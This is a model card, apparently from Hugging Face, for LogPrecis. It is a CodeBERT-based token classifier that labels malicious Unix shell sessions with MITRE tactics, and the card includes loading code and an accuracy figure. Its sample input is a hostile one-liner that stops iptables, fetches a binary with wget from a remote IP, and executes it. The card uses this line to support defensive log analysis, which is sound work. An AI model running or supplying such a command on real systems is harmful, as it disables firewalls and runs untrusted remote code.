Instructions to use SmartDataPolito/logprecis with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use SmartDataPolito/logprecis with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("token-classification", model="SmartDataPolito/logprecis")# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForTokenClassification tokenizer = AutoTokenizer.from_pretrained("SmartDataPolito/logprecis") model = AutoModelForTokenClassification.from_pretrained("SmartDataPolito/logprecis", device_map="auto") - Notebooks
- Google Colab
- Kaggle
LogPrecis is a model fine-tuned for Token Classification.
The base model is SecureShellBert, a Codebert previously domain-adapted using a corpus of >20k Unix sessions. Later, it was further finetuned on the task of Token Classification with 360 labelled examples.
Specifically, LogPrecis is designed for the analysis of malicious Unix logs. Given as input a Unix session:
etc/init.d/iptables stop ; wget โc http://10.10.10.10:8080/exec ; chmod 777 exec ; ./exec ;
LogPrecis outputs the sequence of Mitre Tactics:
Impact x 3 -- Execution x 10
LogPrecis achieved a 91.2% accuracy on the test set. Its training code, data and training details are available on SmartData's GitHub.
metrics:
- accuracy
- rouge
pipeline_tag: token-classification
- Downloads last month
- 131